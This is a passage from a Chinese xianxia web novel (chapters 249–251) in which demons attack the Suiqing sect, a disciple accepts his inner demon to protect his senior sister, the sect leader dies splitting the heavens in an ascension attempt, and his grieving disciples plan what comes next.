甚至有些魔物身形较小从狭窄没有人注意的裂缝爬出来了,正一个劲地往人身上扑去,而江玉瑶则是被扑那个,她当即啊啊啊啊了起来,叶玄洲和张欣雅听到这声音就迅速赶过来。 赶过来后他们发现江玉瑶不知道怎么召唤出她那个炼丹的鼎,正一个劲地往地上已经被砸成肉泥的魔族拍去。 “我们现在是不是该往安全的地方过去?”李行川提议了一句,此时此刻他正用笔斩杀了一只小魔物,“长老们已经都速速赶去裂缝那里了,我们待在这里似乎有些不安全。” “哪里不安全了?”陈严不明白这话的意思。 “……长老们都不在了,若是此时此刻我们遇到了什么强悍的魔物根本招架不住。”李行川倒也不是怕,只是担心他们会给长老们拖后腿,“所以我们先去往护宗阵法里头吧,那里比较安全。” “…说起来,很奇怪啊。”叶玄洲不知为何总有些不安,就算长老们都一一往裂缝那里处理魔族,可心里的不安感依旧存在,“你说这些魔族图什么?他们早不来晚不来偏偏是这个时候来,我们宗主闭关的时候他们没来,明明那个时候才是最合适进攻我们随清宗的时候啊……我们那个时候可是弱得很……” “这我就不清楚了,但是我们有宗主在呢。”李行川顿了顿,然后又道:“或许他们那段时间还在积累实力吧,再者我们除了宗主还有顾长老呢。” “嗯……希望吧!玉瑶妹妹~别哭了,我们去安全的地方等着吧,此地不宜久留呢!”叶玄洲果断放弃思考,就转头哄着江玉瑶,并且已经拿出手帕递过去了。 可就在此时,他们感觉到一股寒意直冲天灵盖,四周结满了冰,差点把他们也给冻上了,与此同时,那头的屋子破了个大洞,一个人自洞里飞了出来,随后稳稳落于地上。 这个男人似有所觉地遥遥往这边看了一眼,突地一笑,在苏岭月没有反应过来的情况,就那么朝着这边的江玉瑶等人冲了过来,苏岭月当即就追上去。 他们速度极快,很快就来到了这几位小弟子面前,苏岭月见小弟子们眼看就要被打到,当即丢出他的剑去,挡在了小弟子们的面前,而男子见此一笑,他微微一个转身,手上的剑就直刺苏岭月的胸膛。 下一刻,巨大寒冰蔓延而上作为护盾挡在苏岭月面前,剑击碎了寒冰,碎冰往四周弹去,但被苏岭月操控回来直直往男子身上捅去。 “…心软只会让你丢了剑的,苏宗主。”男子淡淡一笑,似在无奈,而这一幕,在随清宗各地都有出现。 就比如此时,尹离郁将那谢璟和随清宗的几名弟子都分别用黑水捆起来,嬉笑着,看到站在她跟前的顾延清。 她笑着,开心着,同时也在等待着。 “顾尊者,选一个吧~” 第249章 选择 若人生来便身负重任,那在行走于漫漫红尘里,可曾对那平凡投以羡慕? “延清,你天资聪颖,根骨绝佳,生来便是修仙的命。”苏岭月站在跟前不止一次赞叹于顾延清的天资,那与生俱来的资质让人不由得艳慕,就连他也产生了一丝慕意。 毕竟他当年要是有这资质,早就拜入哪个大门派里头了,到头来也不用自己拿着书瞎琢磨修仙功法。 顾延清听到这话,并未多言,而是在那一日起,他每日又多挥了一千次剑,有时候累了,他就低下头去。 “大师兄,你好厉害啊……为什么你能那么快就金丹了呢?”秦兰时趴在桌子上,有些气愤地拿着筷子戳着碗里的肉。 “三师兄,肉都要被你戳烂了。”宋鸠在旁边拿着饭碗一边吃一边提醒他道。 “闭嘴啦,我自有分寸!”秦兰时怒了一下,就把那块戳烂的肉夹起来放进了嘴里。 “江离,吃这个,可以长得更壮。”燕明华夹起一个鸡腿放进了孟江离的碗里,随后也给秦兰时和宋鸠俩人各夹了个鸡翅,“兰时,你也别生气了,大师兄天资聪慧你又不是不知道。” “!我就是知道才……”秦兰时似乎想说什么,但是在看到碗里的鸡翅又默默住嘴了,他还是先吃饭吧。 “延清,恭喜你突破金丹。”苏岭月坐在顾延清的对面,温和地看着他,“我就知道你一定能行的。” 顾延清听到这话,什么也没说,只是安静地吃完饭后又去院子里头练剑,这一次他练到了很晚。 剑自风而来,急速地往前奔去。 最后,顾延清将剑收入鞘中,转身下台,而崇拜他的女修们则是手里拿着花和手帕开始满心欢喜地凑上前去:“不愧是顾道友!顾道友真是太厉害了~” “我就知道,你一定会赢的~” 站在旁边的男人嘿了一下,拍了拍他旁边的好友:“看,我就说吧,赌局赌顾延清总没错,他上场比赛可是一次都没有输过。” “这次你赢了多少?”这好友也嘿嘿一笑,和男人勾肩搭背了起来,“看你开心的样子,你赢了不少吧?” “那是,我可是把我的全部身家赌上。” “哇!你很有种嘛!” 顾延清这次也没有说话,他礼貌地冲那些女修们点点头,就转身离开,这次他离开什么也没做,而是坐在屋子里轻轻擦拭着剑。 烛火微微晃动着,映着那张清冷的俊容。 “快看,是天青剑尊!” 这一次,他站得更高了些,而小声讨论他的人全部都在下方仰望着他,见他扫了一眼过来后,便用那双充满敬意的眼睛望了过来。 这和他之前见过的无数双眼睛没有任何区别。 顾延清来到了苏岭月的大殿里,听着师父要闭关的信息,还有那把宗门托付给他的重任,那时候,顾延清的背挺得直直的,就那么应了下来。 “我知道了。” 顾延清那么说着,转身就走,他继续向前,然后拿起了剑。 这一剑被他举起来,指向了尹离郁,他依旧是那副淡然的模样,仿佛这样也不能将他心里的天所弄塌。 尹离郁微微一笑,张嘴就问着:“怎么?你已然做出选择了吗?” 顾延清这次也没有说话,他挥出了一道剑气,这剑气直直地朝着尹离郁而来,尹离郁见这剑气所至之处,便是那被捆住的谢璟,尹离郁哈的一笑,像在嘲讽着什么。 就在她操控着捆住谢璟那黑水躲过这剑气的时候,另一边,她顿感背脊遍寒,随后她转过头去,便见那剑气直直拐了弯,面朝她而来,那剑气一下子就斩断了她的身躯,无力的身躯就这样倒在地上,与那堆黑水混在了一起。 而被操控的黑水也在同一时间轰然碎开,撒了满地,谢璟和那几个弟子都摔在了地上,那几个弟子惊恐万分,而谢璟却只是抬头看了一眼,便重新低下头去。 他像是不敢去看顾延清的眼睛。 “……你们怎会在此处?”顾延清转过头去问那几个弟子,“还不快些离开这里,找个安全的地方藏起来。” “谢谢顾长老……我们也是这样打算的,但是就是这样突然间就被抓了……”其中一位弟子虽然脸色惨白,但还是回答了顾延清的问题,“我们现在就走,多谢顾长老了!” 说着,她就拉上了另外几个弟子,跌跌撞撞地就要往那边走去,可还没走几步,死去的黑水再度翻涌起来,那黑水拼接出一个女人的形状,而女人的嘴角则微微勾起。 “顾长老~你怎么不做选择呀~”尹离郁似是有些不开心了,她有些苦恼了,“这样可不行,这样就有些无聊了。” 顾延清见此拿着剑就冲了过来,一剑将这成形的黑水给斩没,碎开的黑水像天空落下的雨这样伏于地上,可女人的笑声却依旧犹在耳旁: “不行,不行……” “你必须要选一个……” “天青剑尊……我要看到你的贪念……” 尹离郁喜欢看到这一幕,因为她根本不信有人能管住自己的私心,人性本就是自私贪婪的,人类从不会知足,他们总是会想要得到更多。 凡人的欲望她早就看透,贪婪的本性会引导他们走向深渊。 “第一次见你,我便好奇了。”尹离郁笑声依旧,语气是极致的温柔,“这世上居然真的有衣不染尘的人。” “不过,我不信。” 她不信会有这样的人。 “尊者……天下难有两全法。”尹离郁于黑水里头渐渐浮了出来,她身上还滴落着水珠,浑身湿答答的,像雨天里的盘在树枝上的青蛇,“所以,我好心便告诉你一件事吧~” “你可知我们为何能将这裂缝开到你们宗门里头?”尹离郁说着,挥了挥手,旁边便多了一面水镜,那水镜里头浮现的景象让顾延清握紧了剑:“那是因为你们宗门里头出了个贪得无厌的叛徒。” “他与我们做了交易,具体是什么我就不说了,重要的是……你看啊,尊者。”尹离郁语气轻柔无比,她笑眯眯地看着水镜里头的情况,在那里,不知何处裂开的魔缝正挤出好几头凶猛的魔物朝着那些弟子们攻击而去,魔物的等级很高,那些弟子们显然没打过,有的被吃了,有的被魔物的爪子给扯成了两半,有的奋力抵抗到最后却被爪子穿透了胸膛。 顾延清看着这一幕,什么也没说,但握剑的手微微发白。 为什么水镜里头的全是弟子,没有一位长老呢?因为长老们都去阻止外部的裂痕了,而弟子们所待的地方又是长老们认为最安全的地方,他们把弟子放在这里后就专心致志去对付外边的魔物了。 而这安全的地方还布着隐藏气息的阵法防止外头来的魔物发现弟子们的存在。 “天青剑尊…你要是选择留下来,我自然愿意和你打上一场,若你去救那些孩子们,那我可就把谢璟给带走了……当然,那几个你可以顺便带走,但谢璟不行哦。” 带谢璟就相当于是和她打一架呢。 “选择吧,天青剑尊,不然那群可怜的孩子可就要都被魔物给吃掉了呢~“ 尹离郁说着,四周的黑水也开始翻涌起来,她似乎是做好了准备,和天青剑尊顾延清打一架的准备,因为从她之前的观察来看,这顾延清对谢璟的不忍和痛惜就像那仙子跌落红尘一样有趣。 天青剑尊会和凡人一样选择自己的贪念吗?这真的太有意思了。 很快,顾延清就动了,或许在水镜里头又一位弟子被魔物压至身下的时候,或许在很久很久之前的时候,他就已经做过了选择。 天青剑尊顾延清抬手将那几位弟子用灵力托起,他看了一眼谢璟,这次他依旧是什么也没说,转身就离开了。 尹离郁一愣,她又笑了,笑声里带着对顾延清的赞叹:“好一个无私的天青剑尊,好一个从一而终的苍生道。” 这天下苍生,天青剑尊似是从未负过。 “孩子啊……”尹离郁自黑水里出来,她轻轻地伸出手捏住谢璟的下巴往上一抬,笑问着:“你此时的眼泪,是为谁而流?” 谢璟扭过头去,不让她看。 尹离郁倒也不恼,因为接下来她要带着人赶路了,等顾延清把那几只魔物杀完再回来追可就不好了,而为了避免万一,尹离郁选择让谢璟沉睡过去,因为她觉得此时此刻一无所有的人最为可怕。 她真是生怕在自己没看着的功夫里,这孩子就决然地自尽给她看了。 他们魔族,可不想要死的魔尊啊。 另一边,唐山玉的伤势已经呈现良好的趋势,只是他这边岁月静好的同时,不远处正在激烈地打斗着。 秦兰时手上拿着剑急急地砍过楼栖凤的耳侧,几根断掉的发丝彰显着秦兰时仿佛在刮痧的成果。 “呵,心魔缠身,不好好歇着干什么。”楼栖凤反手一刀就将秦兰时击飞了出去,她转了一下刀柄,又朝着燕明华那里砍了一刀,“你这曲子弹得可真不好听。” 燕明华见此闪身躲去,手上丝弦齐震,指尖一勾,遂又一弹,强悍的音波扫了过去,直接挡住了楼栖凤这一刀。 与此同时,周围也多了不少魔物,长老们都拿着武器在忙,而秦兰时以剑撑地,他感觉到自己的脑子里混乱成了一片,心魔彻底进来后,他开始肆无忌惮地霸占起自己的思维来,杀意,欲望,等等自心头间涌上来,就那么把秦兰时给淹没。 秦兰时一开始的确是没打算反抗,可在燕明华方才那一句下来后,他开始有意识地和心魔对抗起来。 “…咳咳……”秦兰时重新站了起来,他抬起头,看着那边的燕明华,他想要过去帮忙,可心魔却控制住他的双腿,让他迈不开步。 就在秦兰时想要使劲一下的时候,突地,他看到不远处的燕明华似乎看着他这个方向有些着急起来,而就因为这一分神下,楼栖凤举着刀劈了过去,长长的刀砍在燕明华漂亮的衣服上。 他那最为爱美的师姐衣服被血给弄脏了。 “……”身后的阴影还在逼近,秦兰时却依旧站在原地,一动不动的,他的神情似乎有些呆滞。 与此同时,秦兰时重新落回那神识里头的血海里,而他在血海里飞速地奔跑起来,他在熟悉的尸骨下找到了熟悉的自己。 秦兰时这次没有害怕,也没有犹豫,他同时也没有逃跑,而是一把拉起那个自己的手,将这个自己从地上一把拉了起来,而他则看着那个自己一字一句地道: “我要成魔。” “……”那个自己突地笑了一下,露出了熟悉的笑容:“怎么突然又不抵抗了?” “师姐的裙子破了。”秦兰时没有回答对方自己方才的问题,而是没头没脑地来了一句:“所以,不能再破了。” 也不能再等了。 解决心魔的法子有许多种,而其中有一种,也是最为直接的一种,那就是选择接受他,然后去成为他。 仙者通常因私欲入魔,当纯净的灵力接受了浑浊的魔气后,他便会成为臭名昭著的魔修。 而秦兰时是因为什么入魔的呢? 其实,答案已经摆在那里了。 在身后魔物冲着自己撕咬过来的时候,秦兰时的眼神发生了变化,他幻化出黑色的藤蔓将这魔物包裹起来,当场将其捏碎在里面,黑色藤蔓上还流着魔物的血,淋了一地。 紧接着,秦兰时便举剑朝着楼栖凤那里冲过来,而他身上的魔气因与楼栖凤的魔气混杂在一起,让楼栖凤一时之间没有分清楚那阴暗而来的气息。 于是她结实地挨了这充满魔气的一剑,很快,秦兰时下一剑就来了,他直接抽出剑再度刺去,这次楼栖凤果断举刀挡住,刀剑相交,难舍难分。 “…兰…兰时?”燕明华似是有些不敢置信地看着秦兰时。 秦兰时没有转头看她,但依旧手里握着剑站在燕明华的面前。 …… 秦兰时因守护入魔。 第250章 雪 今夜,对随清宗来说,绝对是个糟糕的夜晚。 秦兰时挥舞着剑朝着楼栖凤冲过去,燕明华紧随其后,琴弦不止,剑气不停,四周是魔物的吼叫和长老们的催促。 唐山玉还躺在地上,被宋鸠和几位长老治疗着,此时此刻他身上的伤口已经逐渐恢复过来。 谢璟被尹离郁带走,并且被她带着穿过了无数个被开启的裂缝,他闭着眼睛,什么也看不见。 顾延清来到了那些弟子们所在处,就挥剑冲向那些魔物,弟子们仿佛看到了救星一样朝着顾延清身后跑去,一剑下,魔物的血飞溅而起。 孟江离还在和段明野一对一地打着架,她侧身躲过鞭子给了段明野一拳,段明野则举起鞭子狠狠地打在她身上,俩人互相打着,身上都挂了不少伤。 梁均则和几位长老企图破坏江易年的阵法,只不过那庞大的魔物挡住了他们的去路,于是梁均正在挨个用法宝想要把这个魔物斩杀于山下。 江玉瑶他们在被苏岭月救后就急急忙忙地跑了,跑的时候都用上了十成的实力,生怕拖苏岭月的后腿。 胡长乐已然逃离了随清宗,只不过她转头看了一眼随清宗此时此刻的天空,那个天空可不太妙,不过她已经没有时间去管了,她得继续进行下一步的计划。 雷云滚动,汹涌的乌云下尽是渺小的众生在死亡面前的崩溃与逃离,魔物的影子在随清宗的四周晃动着,像极了一场来自魔物的狂欢。 “苏宗主,你我的敌人并非彼此才对,我们的敌人应该是上面的这位。”男子站在苏岭月的面前,伸出了一根手指,而这手指正指向着天空。 苏岭月安静地看着这男子,他似乎在等这个男子会说出什么话来。 “…天从不眷顾于我们魔族,我们出生和生活的地方便是恶劣的环境,四周有着想要将我们捕食吞咽的魔物,没有花的土地,偶尔红色的天空下的黑雨会将我们的皮肤所腐蚀。” “这天道当真不公,不是吗?” 男子说着,他话语里头的情绪很平静,仿佛这不是他们所经历过的事情,而苏岭月听了这一嘴后,皱了皱眉,随后他冷声问道:“那这和你们此时此刻派魔物屠杀我宗门弟子有何干系?” “…这个嘛,我说了,我们只是过来找个东西,找完就回去。”男子笑了笑,似乎并不怕此时此刻已然黑脸的苏岭月,“然后顺便和宗主你聊了几句。” “…如果只是找东西,何必弄出那么大阵仗。”苏岭月继续没什么表情地看着男子,“比起这个,你要主动把脖子探过来让我砍一下吗?” “这就不了吧,谁不知宗主您的剑的厉害呢,我怕我的脖子遭不住一点呢。”男子摆了摆手,他继续抬起头,看着这天空,突地,他说了一句:“……也差不多是那个时候了,对吧。” 苏岭月闻言一愣,随后他淡淡地看了男子一眼:“消息还挺灵通,说吧,问天门那里哪个是你的人,说出来让我告诉那老头杀杀。” “哈哈,不这样,我们怎么敢过来呢……你本可一剑将此时随清宗的魔族尽数斩去,就连我,只要你认真出手的话,我相信我的骨灰会比碎冰还要美丽。”男子笑出了声,随后他又很是愉悦:“不过,比起这个,我们之前有位魔主也尝试过飞升呢。” “…哦,然后呢?”苏岭月继续平静,他看上去像什么都不在意的那般,让人只觉得他冷得可怕。 “然后他失败了。”这位男子对此也没什么情绪,他和苏岭月俩人的脸上都呈现出一种看破红尘的淡然,“借助龙族的圣物还是失败了,亏这神明之前还对这龙族夸赞不已呢。” “说完了?”苏岭月很是平静地举起手里的剑,最后,他像是耐心失去了:“说完了,那么你们也该给我滚了。” “…苏宗主似乎对自己很有自信。”男子一愣,随后他往后退了一步。 “自然,还有,你像是对我有什么误解。”苏岭月说着,居然还笑了一下,接着他又收起了笑容,仿佛他此时此刻对这混蛋笑一下都是浪费自己的表情:“就算我没到那个时候,我也能将你们全部斩尽,不过是……” “多费些心思罢了。” 说完,苏岭月的剑再次举起来,只是这一次他的剑身上有着一把巨大的灵剑化形,原来方才苏岭月之所以一动不动的只是在蓄力。 男子眼里闪过一丝慌乱,随后他转头就跑,与此同时,苏岭月的灵力化剑也越来越大,最后这剑指苍穹之上,剑身上的灵力纯净无比。 下一刻,剑往下落去。 轰然间,只见这一剑下,四散开来的剑气朝着随清宗里的魔物和魔族攻击过去,没躲成功的魔物就被这剑气给劈成了两半,最后身形消散于空中,躲过去的几位魔主正快速地撕开裂缝往外逃去。 片刻间,周遭的魔气居然因为这一剑全都消失殆尽,只不过秦兰时是个例外,就在他以为他也要被这剑气清算的时候,他只感觉到自己的屁股被这剑气狠狠地打了一巴掌,仿佛在恨铁不成钢什么。 与此同时,问天门,最中央的那座观星塔内,有一人闭眼正拨动着塔内星象的轨迹,突地,他的动作一顿,原本闭着的眼睛突然睁开眼,他抬头看去,看着那一颗最为明亮的星星在摇摇欲坠。 他就那么目不转睛地看着,竟一刻也不愿意离去。 随清宗内,弟子们还在欢呼着魔物的消散和魔族的离去,顾延清则急急地赶到了苏岭月所在之地,他一过来,就感受到了此地冰冷,寒气里头的碎冰于空中相依飘浮着。 “延清,你来了。”苏岭月没有回头去看顾延清,他拿着剑站在那里,而他的身前是突然雷霆万钧的天空。 “……师父。”顾延清不禁开口喊了苏岭月一声。 “你可还记得,宴会过后我让你来我殿内一事?”苏岭月抬起头,像在怀念什么,风卷起他衣摆,摇摇晃晃地朝天飞舞。 “……弟子记得。”顾延清顿了顿,随后点头道。 “我本是打算过会把宗主之位托付于你的,不过,现在想来也不迟。”苏岭月终于把头转了过来,他定定地看着顾延清,“延清,我已然无法再压抑自己的修为了,本来我是打算安排好一切再去试试飞升的。” “……” “不过,无妨,我信你会处理好的……”说着,苏岭月又似是不放心,补充了一句:“兰时那边,还希望你能多多照顾……我最不放心的就是这个臭小子。” “……是,师父。”顾延清继续应下,他没有动,就这样站在那里。 他在等什么呢。 他到底在等什么? “延清。”苏岭月似有所觉地再度开口,他在笑,就连那雷光也无法抵挡住他那肆意的笑,是啊,能够养出他们这群弟子的人又怎会是怯弱的:“这是为师教予你们的最后一课,好好看着吧。” “…在这世上最后一个成功飞升者后,世上再无能够飞升者,是何缘由我们多年来都在寻找着,找来找去终究是这天不让。”说着,苏岭月就抬起头看向天空,他语气里头有着些许叹息。 接着,苏岭月往前走了一步,与此同时,他听到了身后多了几道脚步声,还有人赶了过来,陆陆续续的脚步声响起来了,似是有不少人,其中会他的的其他弟子们吗? 或许有,但是苏岭月没有回头,只是一字一句地继续道:“既然是天不让,那终究非你我之过错,既然没有做错,那么自是不必认命。” 天雷猛地劈下,轰然如山倒,苏岭月的身影没入了这场雷光里。 苏岭月这一生可谓是漫长无比,他经历过那浩荡的屠魔之战,见识过用鲜血浇灌的花草的生长,同时他也曾慢步于凡间,目睹过几个王朝的更替,年年山青恰如当日,可朱颜易改不见初见。 偶尔也会有片刻闲暇里,拿着酒醉于桃花树下,任由那桃花落个满身欢喜,他有时也会坐于桌前,任由那灵灯彻夜通明,手握卷轴,提笔而下,写出的字好似刀剑削出来的那般凛冽。 但最多的时候,他就是坐在一个有爬山虎的院子里头,坐在那大榕树下,前面是一把石桌,六个石凳,他坐在其中一个,留下了五个。 顾延清被他带过来的时候,年幼无比的,那个时候苏岭月还不会带孩子,只能努力地在顾延清没辟谷前找些能吃的给他,到后边他就学会了做饭。 小时候的顾延清是爱吃甜的,苏岭月每次在他努力地修炼完后就特地带顾延清下山,找些甜滋滋糕点,而他也总是会买一大堆回去,毕竟有法术可以保证糕点不变味,再说了,这可是他苏岭月的徒弟。 师父对徒弟好,是天经地义的。 再后边多了个燕明华,苏岭月养过小子,可他却没有养过小姑娘,这可是他第一个养的小姑娘,那个时候他可是苦恼了好一段时间,所幸顾延清也长大了不少,可以替他分担一点。 但苏岭月还是觉得不够,于是他给燕明华漂亮的衣服,好看的点心,还有那漂亮的珠宝,总之小姑娘喜欢什么,他就花钱去解决,可解决到后来,燕明华反倒是更喜欢趴在他的后背上,小脚丫摇摇晃晃的,让苏岭月把她从山下背回家。 因为燕明华比起那些漂亮的衣服,更喜欢苏岭月。 往后,苏岭月又养了一个秦兰时,可是这一个却是有点不听话了,本来他是一个多优雅多有君子风度的人啊,因为这个不听话的逼得他自个儿把这些什么礼节气度都丢掉了。 秦兰时酷爱捣蛋,而他捣蛋完还喜欢躲师兄师姐后边,看着气呼呼的苏岭月做着鬼脸,秦兰时小时候修炼特爱摸鱼,苏岭月每次因为这个都要训一下秦兰时的不专心。 训完了,见孩子要哭了,就只能僵硬地拿出些好吃的哄一下,哄完了又笑,也不知道这孩子哭了是真的还是假的。 但是笑了,那就算了吧。 后来的后来,苏岭月拎着个宋鸠回来,宋鸠自小便是活泼的,所以他很快就和兰时玩了起来,因为顾延清和燕明华算是比较稳重,所以这是第一次小院子里头有了两个孩子的欢声笑语。 苏岭月在那个时候有些恍惚,随后便又呵呵笑了起来……当然,如果秦兰时没有带着宋鸠在他脸上画猫脸就好了。 宋鸠似乎很喜欢院子里头养的花花草草,他想要自己也养一个,可是小时候不太会,总是把花花草草给养死了,养死了就抱着空空的花盆哭,哭得贼惨了。 苏岭月没有办法,他当天就去打劫好友家的花花草草,他那好友比他富有,所以里头的花花草草都是充满灵气的,没那么容易死。 宋鸠终于不哭了,苏岭月也终于松口气。 养孩子是真的难。 最后,就是那个非常认生的孟江离了,这是苏岭月第二次养小姑娘,本以为手到擒来,可谁知道小姑娘压根不开口,就只会死死地抓住他的手。 那个时候其他人都长大了,少年时期的他们对于这个小师妹当然是好奇无比了,秦兰时伸手想抱,但是却被孟江离躲开了。 苏岭月只能带着这个特别认生的小姑娘一起吃吃喝喝一起睡觉才让她安心不少,可能是因为捡到她的时候,她还在和野狗抢东西吃的缘故吧,所以比较不安。 孟江离怕被丢掉,所以就死死地抓住了苏岭月的手。 而苏岭月也没有辜负她的信任,在她重新相信这个世界之前,都没有松开。 …… 苏岭月回顾完了这一生,只觉得这一生他过得无比让人畅快,最后,他想起了之前与唐山玉的一段谈话。 “山玉,若是有一件事你不确定你是否可以完成,但是时间到了你总要去做的,那你要怎么办?”苏岭月和唐山玉在下棋,对于这个经常来找他的徒孙,他是有些好奇的,于是就随口问了一句他近日以来一直忧心的问题。 他并没有想过唐山玉能告诉他答案。 “那就等吧。”唐山玉很是平静地随意下个棋,这棋技之烂,让人不忍直视。 “倘若这件事自古以来从未有人成功呢?”苏岭月稍微夸大了一下事实,毕竟飞升这事也的确好久没有人成功过了。 “…去做一件没有成功过的事情的确困难。”唐山玉顿了顿,随后道:“不过如果真的要做,既然不能保证百分百的成功,那不如保证那百分百的失败。” “……?”不成功他就死了啊喂。 “我是说,既然不能成为第一个成功的人,不如去成为那最后失败的人。”唐山玉莞尔一笑,在苏岭月的愣神下,落了一子。 “…这是你的道吗?”苏岭月没有落子,他却只是低头看着他们眼前被下得乱糟糟的棋盘。 “不,师祖。”唐山玉摇了摇头,“这是你的道。” 苏岭月笑了。 …… 天被人劈了开来,在随清宗的天上,一道长长的裂口正这往外蔓延,并且有越来越大的趋势,不过很快它就停了下来。 不过它并没有恢复,而是就这样维持在那里。 飞升是修士们唯一一次能够与天地共鸣的机会,同时也是能直接与天空沟通的机会,而在这个机会下,天与人,不会很远。 苏岭月举剑将天劈开了,任由那天雷落在自己的身上,只不过他在劈开之前看到那天空早已有了一丝裂痕,而这一丝裂痕似乎是不久前有人留下的。 那个时候苏岭月就想起了那个男子嘴里所说的魔主,也明白了男子那番话的含义,于是他挥剑朝着裂痕的方向劈去,而那天空终于支撑不住,塌掉了。 如果说任行舟的陨落是呼啸的海水扑向天空后下的一场雨。 那么苏岭月的陨落便是一场情意绵绵的雪,雪落下的时候很安静,但也温柔,这洁白的雪飘落弟子们的手里,最后融化在滚烫的手心。 顾延清抬头看着漫天的雪,任由它落在自己的肩头,自己的身上,青丝挂满了霜,衣摆染了雪,明明应该是冷的,可那温柔的感觉像一只手轻抚着他的脑袋。 燕明华哭了,她身上的衣服本来就因为血变脏了,可雪的落下却将那血轻轻扫去,她伸出双手捧起了雪,轻柔地将她自己的脸蛋贴上去。 宋鸠还在治疗唐山玉呢,但手却因为这落上去的雪有些发抖,似乎是冷的,他没有回头也不敢看,但是却不由自主地红了眼眶,尽管如此他还是继续治疗着,那漂亮的雪赞赏地拍了拍他的脑袋。 孟江离呆呆的,她伸出手似乎想要抓住什么,可是雪抓到手心里头就融化,一下子就不见了,她找不到自己刚才抓住的雪,她只能抬起头,任由那雪轻抚着她的脸颊而过,让它们把自己的泪水带走。 在最后,秦兰时也伸出手去接住这场雪,唐山玉离开的时候他没哭,他只是疯,可苏岭月走的时候,他却是忍不住哭了,张扬的雪伴随着风而来,呼啸着在他耳边匆匆而过,停不下来,也没有回头。 …… 师父对徒弟的爱,也是天经地义的。 第251章 那一天 夜深,长老们把弟子们安排好后就和那些接替的长老们换下来,该休息的该休息,现在他们实在是没有空去想太多事情了。 有什么事还是等明日再说。 顾延清疲惫地坐在殿内,这里是曾经苏岭月坐过的地方,方才他刚刚才送走了一位算是比较高位的长老,安抚好对方的心情后才坐下的。 此时此刻,殿内除了他还有他的师弟师妹们,他们都安静地坐在自己的位置上,曾经他们能够围着大圆桌坐在一起,可在殿内,他们却只能排列着坐。 顾延清抬头看着他们,似乎想说什么,但却只是嘴唇微动,什么也没说出来。 “…方才有些人过来和我们说了关于兰时的事情……”燕明华就在这个时候开口了,她眼角微红,显然是刚刚哭过,声音也有些哑,“明日或许会有些忙,大师兄……不,宗主,我觉得有些门派不会放过这个机会的。” 放过诋毁和拉随清宗下台的机会。 本来苏岭月的陨落对他们随清宗的打击就很大了,虽说这劈天行为于天下修士乃是是一件幸事,所以随清宗的名声和地位暂时不会有所变化。 但是人总是会变的,这谁也不能保证,要做好万全的准备才行。 而秦兰时的入魔一事无疑是将这把柄送到了敌对门派的手上,到时候一定会为难于他们,而且最重要的还是断恶庭那边…… 估计信息已经通往那边了,这并不能封锁住,在随清宗里头也有一些过来看热闹的其他门派的长老,再加上宗门内部并不是全然团结的。 这次的叛徒就是最好的例子,只是可惜他们到现在也不知道这个叛徒到底是谁。 “不可以,他们若是想来抓三师兄……”孟江离面容阴暗地握紧了拳头,“我会出手的。” “……”顾延清闭了闭眼,这显然很棘手,如果要保住秦兰时的话,随清宗后边或许会有不少麻烦,但是也不是不可以应对。 所以他已然做出了选择。 “兰时,明日你不要出面,由我们来应对即可。”顾延清那么说着,就转头看秦兰时此时此刻的表情,秦兰时是难得的安静,而通过他的表情可以看出他似是在想些什么。 “…兰时?” “……大师兄,我有个想法。”秦兰时重新抬起头看了过来,他看看顾延清,又看看其他人,认真地道:“让我去魔界吧。” “…什么意思?三师兄你?”宋鸠听到这话有些着急地想要起身去问个清楚。 “三师兄?”孟江离比宋鸠先一步站起来,她看上去有些不敢置信:“不,不行,你没有错。” “…没错就不能去魔界了吗?好了,小师妹你不要急,先坐下来。”秦兰时挥了挥手,示意孟江离先坐下,随后继续转头看着顾延清,此时此刻顾延清是宗主,这件事理应经过他的同意:“往年去往魔界的卧底都很难回来,丢掉性命的也不少……” “我认为……”秦兰时顿了顿,接着道:“是因为他们不够像魔修,他们并没有入魔,隐蔽气息的法器每一次维持都需要很多灵力,这也是为什么我们派去接引那些卧底的时候,他们都迫不及待先拿些灵石去用。” “但是,我可以,因为我现在入魔了。”说到这里,秦兰时的目的也很明确了,他就那么直直地坐着,看着顾延清的反应:“你不觉得我是最佳人选吗?” “……可是,魔界那里……”宋鸠似乎还想说什么,接着他就看到顾延清自位置上站了起来。 “你们先回去,这件事等我们谈论完后会给你们答复。”顾延清定定地看着秦兰时,随后和其他人吩咐道:“还有,此事不能告与其他人。” 情绪激动的宋鸠和孟江离被燕明华给一把带走了,他们都知道,这件事大概是成的,因为秦兰时这个人比较执着,他想要做的事情,就算撞破头也要去做,除非他自己先放弃。 等他们离开后,顾延清这才重新看向秦兰时:“你可想好?此行若去,就有可能回不来了。” “我想好了。”秦兰时轻轻点了点头,“我觉得我非常合适去做这件事,只不过我一个人是做不来的,我需要师兄你帮我。” “……”顾延清沉默。 随后他道:“可我不想你去。” “……”秦兰时也跟着沉默了,他安静地看着顾延清,烛火微晃,帘子上布满了流月的银光。 “…我答应过师父,要好好照顾你,所以我并不想你去。”顾延清难得吐露出自己的一点点私心给秦兰时给听:“就算你留在这里也不会有事,那些麻烦我都能解决,只要你……” “我知道。”秦兰时淡淡地笑了,“我都知道……只是,我想去。” 我想去做些什么。 而不是要去等待些什么。 “宗主,我是寒岳天尊苏岭月的徒弟。”秦兰时继续往下说去,他已然想好了,既然剧情一直想着要这样发展,那他不如就干脆顺其道而行,与此同时,他也要别的想法,“大师兄,我不想给他丢脸。” “…他老人家走得倒是利索了,但是烂摊子还没有完全解决呢,我们可是他的徒弟……”说着,秦兰时就有点说不下去,他微微偏了一下头,“…我是说……总之………” “嗯,好。”顾延清应了下来。 “……”秦兰时笑了,走过去抱住了顾延清,轻拍顾延清的后背用哄小孩子似的语气道:“没事的,师兄,你也累了,今晚也好好休息一下吧。” 顾延清一愣。 接着他们又讨论了一些事宜,而在秦兰时离开后,他也并没有待在殿内,而是出门,他来到了谢璟被抓的地方,魔气已然被苏岭月那剑气清了个干净,怎么什么也没有留下。 顾延清站在这里久久没有离去。 突地,草丛中似有什么一亮,月亮恰好照在了那里,顾延清见此寻了过去,然后他自泥土里寻到了那一串断掉的贝壳手链。 什么时候断掉的呢? 他不知道。 只是,顾延清俯下身来把这些贝壳一一捡了起来,带了回去,然后重新用一条绳子重新串起来,戴在了手腕上。 …… 另一边秦兰州在去找唐山玉的路上,唐山玉被放置在药庐里头,这里飘散着淡淡的药味,而在唐山玉房间门口有几道身影正在安静地站着,细细一看,原来是石泽竹,江玉瑶,叶玄洲和方安城四人。 他们就那么守在这里,里头的人还没醒,安静的月色把他们此时此刻的愁眉苦脸都照了出来。 